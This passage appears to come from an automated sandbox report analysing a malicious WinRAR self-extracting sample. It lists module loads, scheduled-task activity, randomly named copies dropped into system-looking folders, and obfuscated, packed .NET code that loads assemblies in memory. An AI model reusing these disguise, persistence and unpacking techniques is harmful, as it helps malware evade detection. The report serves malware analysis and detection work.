Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe	Section loaded: mscoree.dll
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe	Section loaded: apphelp.dll
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe	Section loaded: version.dll
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe	Section loaded: uxtheme.dll
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe	Section loaded: windows.storage.dll
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe	Section loaded: wldp.dll
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe	Section loaded: profapi.dll
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe	Section loaded: cryptsp.dll
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe	Section loaded: rsaenh.dll
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe	Section loaded: cryptbase.dll
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe	Section loaded: sspicli.dll
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe	Section loaded: amsi.dll
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe	Section loaded: userenv.dll
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe	Section loaded: rasapi32.dll
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe	Section loaded: rasman.dll
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe	Section loaded: rtutils.dll
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe	Section loaded: mswsock.dll
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe	Section loaded: winhttp.dll
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe	Section loaded: iphlpapi.dll
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe	Section loaded: dhcpcsvc.dll
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe	Section loaded: dnsapi.dll
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe	Section loaded: winnsi.dll
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe	Section loaded: rasadhlp.dll
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe	Section loaded: fwpuclnt.dll

Source: C:\Users\user\Desktop\5P9EdUgv5r.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00BB2765-6A77-11D0-A535-00C04FD7D062}\InProcServer32

Jump to behavior

Source: C:\serversessionmonitor\blockfont.exe	Directory created: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe			Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe	Directory created: C:\Program Files\Windows Portable Devices\8057c8f30c1a8e			Jump to behavior

Source: 5P9EdUgv5r.exe

Static file information: File size 1577715 > 1048576

Source: 5P9EdUgv5r.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: 5P9EdUgv5r.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: 5P9EdUgv5r.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: 5P9EdUgv5r.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: 5P9EdUgv5r.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: 5P9EdUgv5r.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: 5P9EdUgv5r.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source: 5P9EdUgv5r.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:

Binary string: D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb source: 5P9EdUgv5r.exe

Source: 5P9EdUgv5r.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: 5P9EdUgv5r.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: 5P9EdUgv5r.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: 5P9EdUgv5r.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: 5P9EdUgv5r.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Data Obfuscation

.NET source code contains method to dynamically call methods (often used by packers)

Source: 0.3.5P9EdUgv5r.exe.566f5a6.1.raw.unpack, RjptLIiSqcughaqdf1L.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
Source: 0.3.5P9EdUgv5r.exe.6bda5a6.0.raw.unpack, RjptLIiSqcughaqdf1L.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})

.NET source code contains potential unpacker

Source: 0.3.5P9EdUgv5r.exe.566f5a6.1.raw.unpack, t4tDHDy3xyf70ZThD6b.cs	.Net Code: nRF0Bp4XLZ System.AppDomain.Load(byte[])
Source: 0.3.5P9EdUgv5r.exe.566f5a6.1.raw.unpack, t4tDHDy3xyf70ZThD6b.cs	.Net Code: nRF0Bp4XLZ System.Reflection.Assembly.Load(byte[])
Source: 0.3.5P9EdUgv5r.exe.566f5a6.1.raw.unpack, t4tDHDy3xyf70ZThD6b.cs	.Net Code: nRF0Bp4XLZ
Source: 0.3.5P9EdUgv5r.exe.6bda5a6.0.raw.unpack, t4tDHDy3xyf70ZThD6b.cs	.Net Code: nRF0Bp4XLZ System.AppDomain.Load(byte[])
Source: 0.3.5P9EdUgv5r.exe.6bda5a6.0.raw.unpack, t4tDHDy3xyf70ZThD6b.cs	.Net Code: nRF0Bp4XLZ System.Reflection.Assembly.Load(byte[])
Source: 0.3.5P9EdUgv5r.exe.6bda5a6.0.raw.unpack, t4tDHDy3xyf70ZThD6b.cs	.Net Code: nRF0Bp4XLZ

Source: C:\Users\user\Desktop\5P9EdUgv5r.exe

File created: C:\serversessionmonitor\__tmp_rar_sfx_access_check_5694421

Jump to behavior

Source: 5P9EdUgv5r.exe

Static PE information: section name: .didat

Source: C:\Users\user\Desktop\5P9EdUgv5r.exe	Code function: 0_2_00D7E28C push eax; ret	0_2_00D7E2AA
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe	Code function: 0_2_00D7ED46 push ecx; ret	0_2_00D7ED59
Source: C:\serversessionmonitor\blockfont.exe	Code function: 4_2_00007FFD9B8E963B push edx; retf	4_2_00007FFD9B8E963C
Source: C:\Windows\RemotePackages\RemoteApps\qwhJcOiWbbUoQMvwnJNr.exe	Code function: 20_2_00007FFD9B8D963B push edx; retf	20_2_00007FFD9B8D963C
Source: C:\Program Files (x86)\Microsoft OneDrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe	Code function: 22_2_00007FFD9B8F963B push edx; retf	22_2_00007FFD9B8F963C
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe	Code function: 37_2_00007FFD9B90562F push ebx; ret	37_2_00007FFD9B905632
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe	Code function: 37_2_00007FFD9B8E963B push edx; retf	37_2_00007FFD9B8E963C

Source: blockfont.exe.0.dr	Static PE information: section name: .text entropy: 6.996043713722853
Source: qwhJcOiWbbUoQMvwnJNr.exe.4.dr	Static PE information: section name: .text entropy: 6.996043713722853
Source: backgroundTaskHost.exe.4.dr	Static PE information: section name: .text entropy: 6.996043713722853

Source: 0.3.5P9EdUgv5r.exe.566f5a6.1.raw.unpack, c8VeNg6RLOVyQqHFv1x.cs	High entropy of concatenated method names: '_4J6', '_5Di', '_1y5', '_77a', '_1X1', '_7fn', 'OUK', '_8S4', 'wUn', '_447'
Source: 0.3.5P9EdUgv5r.exe.566f5a6.1.raw.unpack, JaJ5hR6qqsfGUU4CAIb.cs	High entropy of concatenated method names: 'P29', '_3xW', 'bOP', 'Th1', '_36d', 'vC7BKvE1Hh', 'WXhBU29r5A', 'r8j', 'LS1', '_55S'
Source: 0.3.5P9EdUgv5r.exe.566f5a6.1.raw.unpack, UVHsDNelqUENW95F8iI.cs	High entropy of concatenated method names: 'p23', 'YZ8', 'Gog', 'G9C', 'YBE1XqgqG0ko5r2DERv', 'OMTEaQgjsUZZGFUGOxV', 'L4vdHIgLXEQsKuy8LCf', 'NfxpsPgTZAKIkQ6sq6s', 'Uc5TxGgwOMyQtVEEPs4', 'UuVvXkgt4t0hQXph7in'
Source: 0.3.5P9EdUgv5r.exe.566f5a6.1.raw.unpack, wSG768evECvlDqTUcmJ.cs	High entropy of concatenated method names: 'kNf', 'YZ8', 'U31', 'G9C', 'ExxUqxg8aSdSGrSVw74', 'PLujdogE0f1bMcpouCy', 'rVY2rWg5tjEbBvxFtNE', 'uAjoyhgYCwYFDHwrOi1', 'xZOQB0g9RoMBK4pnxDH', 'jtBBetgeM4Zyd2vl132'
Source: 0.3.5P9EdUgv5r.exe.566f5a6.1.raw.unpack, XbJtgReCOk4Bf1sPPxE.cs	High entropy of concatenated method names: '_625', 'YZ8', '_9pX', 'G9C', 'QuT6Aal1DhCATvFEMVB', 'uopZAKldyoeqbhcSsvu', 'f9moD6lF4dYhNBwmd3f', 'ScKCpalhGYhCNVCRbKV', 'bO7wmllGmO23dhQOQJv', 'Mu0eSMl3uOvCrCGV9vu'
Source: 0.3.5P9EdUgv5r.exe.566f5a6.1.raw.unpack, KoTg3X0nwsWjNk6y4av.cs	High entropy of concatenated method names: '_5u9', 'VmQaoaKRAf', 'ypbGgv4TSA', 'sJOa1m3RYb', 'a8vYuIFUs8cijvNt1it', 'XTutUMFmX1WgRLTneAi', 'os2HynFups3KMxVZnUg', 'CJ31kaFX1MeVQMSgRVo', 'IB7GnIF7yuHwXUrjmKx', 'mvU0t9FzAla9VyXBLRE'
Source: 0.3.5P9EdUgv5r.exe.566f5a6.1.raw.unpack, lhqXAyE0XRxnQU6Flsl.cs	High entropy of concatenated method names: 'WYndU1kFFVHO6uUlO5v', 'ibLo71kh7KstY1vEV5O', 'cZACoWk1qZ5oi9l8rKc', 'PolmlTkdsuVptZy8YeC', 'BCnoPTWL3J', 'XqPsmykBglybtn2Lkds', 'HxXJETkaE1blAIwiidX', 'sMu09hkGBNjnmmVeOXq', 'YmIV6nk3UhRjLoLmhhU', 'OXxtZEkyeC57s3lkIHQ'
Source: 0.3.5P9EdUgv5r.exe.566f5a6.1.raw.unpack, WJnPEKAdPFv9qvPdGbh.cs	High entropy of concatenated method names: 'slrN00JnftxNSvEIn6D', 'zH3GJxJbABl0WhljXPq', 'FxSHedJ2Y2PtZDNbdH3', 'zq8LrZJxkH5CuU4lm0r', 'TDMwuNpYPV', 'WM4', '_499', 'IYfw72Bu3p', 'KdKwLRiLnu', 'lftwxjFaD2'
Source: 0.3.5P9EdUgv5r.exe.566f5a6.1.raw.unpack, axG4xJAngoLZPJlaaeD.cs	High entropy of concatenated method names: 'PJ1', 'jo3', 'MilW3VKbrF', 'ctBWGcIbtK', 'On4WRadpa2', 'EC9', '_74a', '_8pl', '_27D', '_524'
Source: 0.3.5P9EdUgv5r.exe.566f5a6.1.raw.unpack, WsrusayxXuqYoP8ahcl.cs	High entropy of concatenated method names: '_0023Nn', 'Dispose', 'dsXEubYF3k', 'nOEE7brsru', 'kaXELuqYoP', 'YahExclh0x', 'UHLE5YQ84q', 'njPXER4DaiZZiSqP8HL', 'EIYHRk4SO8WutIQeOAK', 'L8PjOR4NCbJe6jMDOjs'
Source: 0.3.5P9EdUgv5r.exe.566f5a6.1.raw.unpack, h5lYQWefq6vHfCRQaNA.cs	High entropy of concatenated method names: 'bZWyRyhH8x', 'fV1ys4cgJ0', 'Vs819WlZL3i2FMstqS1', 'nhMk3tlSnYv83MmZxZo', 'tYwT4vllZ9bLpudrI58', 'deJ28hlKys7GfkoZ9PV', 'ynyeLYlr68e0tlbrRAf', 'RxSgJllRpiSKGYuebQD', 'VSEQXXlo97E6ItMYwNL', 'WxOqWNlMxl3a8iTN2Nb'
Source: 0.3.5P9EdUgv5r.exe.566f5a6.1.raw.unpack, AsKPR9AwP98g7Tn7WsG.cs	High entropy of concatenated method names: 'D4M', '_4DP', 'HU2', '_4Ke', '_5C9', '_7b1', 'lV5', 'H7p', 'V5L', '_736'
Source: 0.3.5P9EdUgv5r.exe.566f5a6.1.raw.unpack, gF35XVAlfJgwhKc4Fn8.cs	High entropy of concatenated method names: '_7tu', '_8ge', 'DyU', '_58f', '_254', '_6Q3', '_7f4', 'B3I', '_75k', 'd4G'
Source: 0.3.5P9EdUgv5r.exe.566f5a6.1.raw.unpack, t4tDHDy3xyf70ZThD6b.cs	High entropy of concatenated method names: 'DSS0kNDmBS', 'zTs0dsrk1W', 'eYI0u0OMA7', 'Bs007NxGGs', 'zcF0LqoTY7', 'GLn0xv6Ucb', 'XAv05QmXmv', 'lxb36brGUosHPEYc2gJ', 'g9IjhcrFK9T5oKaD6D5', 'X1AinZrhO00clf3CmAE'
Source: 0.3.5P9EdUgv5r.exe.566f5a6.1.raw.unpack, LVTeDfAOyZM3IpY7TQQ.cs	High entropy of concatenated method names: '_159', 'rI9', '_2Cj', 'D5dwlQifvD', 'vIGwbRMSUa', 'vnAww4gX7U', 'EkswMhAj0H', 'ToPw2fDgfC', 'IbVwWfLxvV', 'WUaspjC5TLmRwkx9O75'
Source: 0.3.5P9EdUgv5r.exe.566f5a6.1.raw.unpack, LmDuN96rXhWiAQlDsPV.cs	High entropy of concatenated method names: 'ObLKlefnIo', 'X4iKwsr6qt', 'iC3KSTCHt9', 'dKuKBuNERo', 'qsiKKt0pDO', 'OfvKUXmXYC', 'wsYK9UxaR0', 'AIDKN2ddeT', 'S1BKFsoWIC', 'lsEKYFh09D'
Source: 0.3.5P9EdUgv5r.exe.566f5a6.1.raw.unpack, ts2i7dALe6ErcGsYj4a.cs	High entropy of concatenated method names: 'qEB2xQUa4d', 'IiWECPJ6nKjIxGDWMS5', 'OYhiPpJijiKU0TibFMh', 'SpKHPxJyKSCWLC7grvB', 'r9F4uuJcLDHnWHSukfi', '_1fi', 'er7MTRTeHg', '_676', 'IG9', 'mdP'
Source: 0.3.5P9EdUgv5r.exe.566f5a6.1.raw.unpack, ATV85FexLXBgqtEbdTe.cs	High entropy of concatenated method names: 'rZtemGNMpE', 'V2I1IAS5TuX3b6XIKiw', 'QL0vX0SYHPpNOHQtwsB', 'h8QFCES8su30BIoIt4w', 'pt3PmDSEsWnrBjYKniM', 'xyeJGJS9H3oe0siF91m', '_3Xh', 'YZ8', '_123', 'G9C'
Source: 0.3.5P9EdUgv5r.exe.566f5a6.1.raw.unpack, pEliLlAg9VImohRyaFR.cs	High entropy of concatenated method names: 'w43lpbVJvL', 'DIulfo6HF1', 'By2lVATbL6', 'WFMlCWGbvV', 'aGAlqBtlkf', 'pEElTFhFqf', '_838', 'vVb', 'g24', '_9oL'
Source: 0.3.5P9EdUgv5r.exe.566f5a6.1.raw.unpack, clCliC6mt5ypbJOdOo4.cs	High entropy of concatenated method names: 'ICU', 'j9U', 'IBK', '_6qM', 'Amn', 'Mc2', 'og6', 'z6i', '_5G6', 'r11'
Source: 0.3.5P9EdUgv5r.exe.566f5a6.1.raw.unpack, VgX0KW0GI7iyPf9phWU.cs	High entropy of concatenated method names: 'JcdXdeweyo', 'MsVXuKEws9', 'gDGX7n3vLu', 'tVhthH1RLe0dlArKyI0', 'fLL2dv1K2xjhrmC87M2', 'PwgOUU1rkjiCij2reEM', 'amTMYi1oa3pQJiC41xx', 'p5BXKe2IVZ', 'x1XXUUhdTC', 'vweX9Sny5K'
Source: 0.3.5P9EdUgv5r.exe.566f5a6.1.raw.unpack, GwDwxj0ecdrkgTLFKOY.cs	High entropy of concatenated method names: 'Jk1iW2d7it', 'jUxihmkLxb', 'mnEiOnlRWV', 'jwnikEWxi3', 'bmUg7GQzfcGFD83wH78', 'wdeRtcQmFDRDLBs1i9T', 'f1ioYMQuQoJl4ZbbcLK', 'mOEao4vOTotoTuGvCda', 'HWFBZGvH3XbUrJ6ewa9', 'ALpVbbv285hstnFQykR'
Source: 0.3.5P9EdUgv5r.exe.566f5a6.1.raw.unpack, aNMxx3E88YofJuk78La.cs	High entropy of concatenated method names: 'C2MlM7SZWY', 'JTMl2rw4JD', 'F8e', 'bLw', 'U96', '_71a', 'O52', 'YN8lWUbk1K', '_5f9', 'A6Y'
Source: 0.3.5P9EdUgv5r.exe.566f5a6.1.raw.unpack, JXpTBDeR2RDHqAKpfgR.cs	High entropy of concatenated method names: '_6U6', 'YZ8', '_694', 'G9C', 'FPmcTaNvcP6XKXSHW57', 'bah9OON09YIguufxFWF', 'us29WbN1EStIlRNbUwc', 'I50583Ndy4OMkflYXrO', 'TJYs5cNFIN9lL5roVF8', 'I7QtuxNhmF0LTTDd2Hy'
Source: 0.3.5P9EdUgv5r.exe.566f5a6.1.raw.unpack, GtnJCGfl1tTDnBdR5Z.cs	High entropy of concatenated method names: 'P37', 'YZ8', 'b2I', 'G9C', 'G2QKQBnJJWegPnhlXi3', 'B1lTgHnAIOoPVWr69Ik', 'J6KJYXnsde2aKGjZRdm', 'zCIPEwnqp9G1BJBqF3N', 'oJxHXfnjnqRNPT1hnh4', 'Y4wuGOnLhVhpUvWmWJU'
Source: 0.3.5P9EdUgv5r.exe.566f5a6.1.raw.unpack, z6h58oAQcTlyk3ocbm8.cs	High entropy of concatenated method names: 'JWbboBbdW1', 'uqBbDlFMWR', 'd8bbQx5EfY', 'mB2bj9WNmu', 'tHmbvauTx5', 'GHIBpkeUGqqWZnaWrt9', 'o8p6etemVTipTl8yVub', 'HMwdOaeuFlBmXtyktvZ', 'Ccq8mEez8tk3EPrigeK', 'irOF9mpOkgat1kVUFLl'
Source: 0.3.5P9EdUgv5r.exe.566f5a6.1.raw.unpack, MCnyiwTK0il9OLGiW7.cs	High entropy of concatenated method names: '_8Ok', 'YZ8', 'InF', 'G9C', 'FmQPwyboU7pp15gx0o7', 'CTyKCpbMYQuocQSr8qg', 'fok3BWbfqgw86k7irAD', 'cJIBO1b4jigyBZUQBBV', 'N5gs3YbQUG497NSex4v', 's3JkR8bvOZjGLjwI7Q4'
Source: 0.3.5P9EdUgv5r.exe.566f5a6.1.raw.unpack, RjptLIiSqcughaqdf1L.cs	High entropy of concatenated method names: 'r2QDs6sB6GtRwVEyOpl', 'V1vDodsaMFYRa56m7Lp', 'IaM9b6sGF7Cm5hIYGnn', 'hZJF7Gs3H0nOwCDeUr7', 'sNVOBEtTs4', 'XnM6xcs6a4JDTxdI58x', 'hvqSi3siAu9PHh3Wl9x', 'EetulbsPCONwspP8C6N', 'Ox1C7fskeiJnSDQVTNa', 'LQ2FNwsWy9CG2R1YdLY'
Source: 0.3.5P9EdUgv5r.exe.566f5a6.1.raw.unpack, vO5diU6Itj2J6EHoRW3.cs	High entropy of concatenated method names: 'WjxBmgms34', 'IvmBuTnbw2', 'vZTB7mgaGG', 'havBLBpAUI', 'ND2Bxyhrf3', 'MwuB5rrB7p', 'K1mBZQZqHR', 'lL0B4axjZs', 'rT5Btj1ySw', 'nWmBHfwvys'
Source: 0.3.5P9EdUgv5r.exe.566f5a6.1.raw.unpack, wWN1y86E9MTCT1PjRpu.cs	High entropy of concatenated method names: 'g3Ls9GKqsU', 'ki76s73QwkdVkJrUki4', 'g2nPuY3vtuAgEL1nfcP', 'm0VY8N3fO4SH0lbSTGn', 'pyYXpC34OvdlvMSDSS4', 'w4dGh85xDA', 'avFGOqk2wa', 'GmxGk6CdQQ', 'h9dGdtEaoU', 'klpGus2434'
Source: 0.3.5P9EdUgv5r.exe.566f5a6.1.raw.unpack, CucLx40zSRyK5n7um9y.cs	High entropy of concatenated method names: 'Sx0GMlCliC', 'M5yG2pbJOd', 'Do4GWh4Bmg', 'Kl0Qa1GpaDmhVBYWLSw', 'haaDnXGCIdLBHRPUU21', 'Ub319iG901SEnKCxIIh', 'WYuoOCGe0qcKMyw6RB2', 'sXf8eGGJUxa8TeeGmet', 'mbZ8fOGAo83xnIoawoB', 'BH513aGsCh6KA7aOB3p'
Source: 0.3.5P9EdUgv5r.exe.566f5a6.1.raw.unpack, Nq6HD5x1mem2QvFS0C.cs	High entropy of concatenated method names: '_59M', 'YZ8', '_1zA', 'G9C', 'uV7VBpxEyB11L3LPcQQ', 'CPN8VOx5s5ReTVGUP3K', 'YfE46AxYt0fK6IQ8GMa', 'eIOLDhx9NZLYiUPCe5b', 'IMMWVgxe7TOAVTJAVZo', 'AafLJRxpo9rNHggOidm'
Source: 0.3.5P9EdUgv5r.exe.566f5a6.1.raw.unpack, UYK8MFygjCs6MBDQePx.cs	High entropy of concatenated method names: 'vMJylWaqVU', 'c3tybdhhWp', 'JXpywTBD2R', 'P5uDaEZkiL79BLA7Ueq', 'YyZnYKZWmsSDiADs8vb', 'zZ2uyWZ8skQGYZIqjPB', 'xoiteOZEUuMhwViZGxr', 'vJtlF5Z5Lg4fUe8ajU8', 'ahuidUZY8UfmY0Z6quc', 'FLLZ73ZiLbIB8AjJyyi'
Source: 0.3.5P9EdUgv5r.exe.566f5a6.1.raw.unpack, Hjl6EneNYwxTaTCypeK.cs	High entropy of concatenated method names: 'yiQ', 'YZ8', '_5li', 'G9C', 'NmyJJwgOWcNMRvc4UJE', 'AdsuvKgHZaarqAXKMx0', 'nNa3LGg2mkDpc1O460L', 'q0Z3AJgxRjLO8sRHysg', 'vOuc41gnabiUjws88Ch', 'jjRkpvgboOhlMVP8Y8M'
Source: 0.3.5P9EdUgv5r.exe.566f5a6.1.raw.unpack, u3qBBam7uymWWK1s6C.cs	High entropy of concatenated method names: '_52U', 'YZ8', 'M5A', 'G9C', 'EIvRKKbIhXK7MtXiLN8', 'BPtiY2bXiIgkq3swXV3', 'bVXbMDb7PZpNYCJxYJu', 'ItMubabUO8yZTMyVkw8', 'hm67GFbm8YMm37LRpi9', 'picXP2bucPOmsicg9Ud'
Source: 0.3.5P9EdUgv5r.exe.566f5a6.1.raw.unpack, LP1XoyeQNFngUkgwXa7.cs	High entropy of concatenated method names: 'gHL', 'YZ8', 'vF9', 'G9C', 'NuNgMmgGLy3FYKO27L6', 'mvAACKg3r7vCJ2T1pIf', 'hcCCJ5gBtEugTQaLw3o', 'F7ftTYgaoZu9tGDB4xJ', 'jVQn3kgyrC8cPkofXZp', 'tIHDdfgcg5n6TgiqSF7'
Source: 0.3.5P9EdUgv5r.exe.566f5a6.1.raw.unpack, UqiqRGEulfRR9259D1M.cs	High entropy of concatenated method names: 'q6Slg8YXs0', 'qeAau45UGtuuG5kQiCY', 'M9QJtJ5XyWqw98O6PK2', 'v2O1mU57nmVieK8JWIY', 'aYT3Xv5mS1sGT8MfRmX', 'nFCvbn5uhHQlL7CVRe6', 'IRWwoi5z0UbvxUMvek5'
Source: 0.3.5P9EdUgv5r.exe.566f5a6.1.raw.unpack, ADoui4n9ETRheJOBmh.cs	High entropy of concatenated method names: '_468', 'YZ8', '_2M1', 'G9C', 'MbeFocn4UOV58TFJH60', 'jiecmrnQiVotGHTfm7Y', 'Pg5G74nvqdwRb0yvPrj', 'vqnMx8n0H4UW1sgpWIW', 'FrOKTPn1E2iMm9MsGv6', 'XgP3LmndZhCbPu8R3Q8'
Source: 0.3.5P9EdUgv5r.exe.566f5a6.1.raw.unpack, psEeQleTfmcO4XF3FLo.cs	High entropy of concatenated method names: '_7v4', 'YZ8', '_888', 'G9C', 'VMLLW6lPU7gxrd3aTVx', 'JiWZXilkbRo9H2Ye2bl', 'lvrBeblWCcGKIRsW6hu', 'VXrpBql8xuax4UK3Q71', 'vFtJWFlEQKDcv8lIxO9', 'lVWyUul5xVSO6WSLQ7v'
Source: 0.3.5P9EdUgv5r.exe.566f5a6.1.raw.unpack, CERs2p6abqhKrSGSgGT.cs	High entropy of concatenated method names: 'q8Ys7a09Fl', 'uXTsLhRfBW', 'ggNsxMxx38', 'rofs5Juk78', 'HamsZxJRdl', 'yxNyZI3ueqZAbNFYrYH', 'ehBvoT3zrProQxi1Pll', 'kjPt9h3USvtedyf9OBL', 'qEuHU43m3eweAOG2nLl', 'V6a5rABOv8lvRSxBQUK'
Source: 0.3.5P9EdUgv5r.exe.566f5a6.1.raw.unpack, Xuhydj6w3Pap3lwVuB9.cs	High entropy of concatenated method names: 'PgwSdbNf6j', 'yEnSuSTqs2', 'u8cS7DLKQE', 'zH6SLdQb2V', 'paISxlKpXo', 'Rso9hhavq5dU2FTMaql', 'GWbcgDa4LhSX1TUWAT2', 'OcLFE7aQgEyFZM9Bg1p', 'm1Sw3Sa0UrkyqAw3jYp', 'iLBynqa1xjvuYBu1Jpj'
Source: 0.3.5P9EdUgv5r.exe.566f5a6.1.raw.unpack, PuWoPuEkIRZKxp7uVPw.cs	High entropy of concatenated method names: 'DsSPc2IikQ', 'TaKPIl1qnT', 'EuxPJQ68JW', 'LLPPrAfohU', 'ChvP11UlUa', 'iF2PmnZrR4', 'pNgGRc5jndI0OxlZXfp', 'na1Cwn5soTGjqcOJJbq', 'LoyW8I5q37aaqYplVYp', 'pgkAJH5LPV9T0OXmghf'
Source: 0.3.5P9EdUgv5r.exe.566f5a6.1.raw.unpack, nbJiqQ0QgwScmc3078g.cs	High entropy of concatenated method names: '_525', 'L97', '_3t2', 'UL2', '_6V2', '_968', 'xFNswwFrTYdXyEBsiJs', 'WdmuWRFRotjiWeV6226', 'c9XlRJFoJRmxO7dlfFV', 'Kd9exMFMG1SfHt4h7ky'
Source: 0.3.5P9EdUgv5r.exe.566f5a6.1.raw.unpack, EenlBfeaY0Ztkrk7qu4.cs	High entropy of concatenated method names: 'd43', 'YZ8', 'g67', 'G9C', 'fBt0WfNa2jZK5XMKiit', 'O6R0GgNy4koA92DmAMN', 'gVF961Nc1ndRcRHAP9K', 'e8DfrvN63QhcIwHFGqp', 'oKSNZ1NiBkDA4Z9SUcd', 'opIqmeNPZ99jAHUllxB'
Source: 0.3.5P9EdUgv5r.exe.566f5a6.1.raw.unpack, JOxSpa63JmVk27xbF3S.cs	High entropy of concatenated method names: 'uxk', 'q7W', '_327', '_958', '_4Oz', 'r6z', 'r7o', 'Z83', 'L5N', 'VTw'
Source: 0.3.5P9EdUgv5r.exe.566f5a6.1.raw.unpack, uB794cIYlidHb77A6R.cs	High entropy of concatenated method names: 'pHw', 'YZ8', 'v2R', 'G9C', 'w89ZAabyDyb8oodU5Ap', 'dWhZFRbcCapDIX5VT2k', 'mLVFVYb6pbiRBibWIpU', 'MHd0v4biQhHOn7yM8T9', 'SiTfOWbPXgXM46X8rsk', 'mesHlTbkmhlD2b385Mu'
